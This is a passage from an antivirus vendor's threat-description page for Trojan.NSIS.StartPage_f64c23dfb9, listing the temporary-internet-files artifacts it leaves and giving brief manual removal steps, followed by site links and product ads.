%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\jquery-ui[1].css (33 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\ui-bg_gloss-wave_75_2191c0_500x100[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\dc[1].js (1327 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\jquery-ui.min[1].js (9346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\Firefox[1].exe (39285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\jquery-ui-1.8.19.custom[1].css (5521 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Trojan.NSIS.StartPage_f64c23dfb9

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Trojan.NSIS.StartPage_f64c23dfb9

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet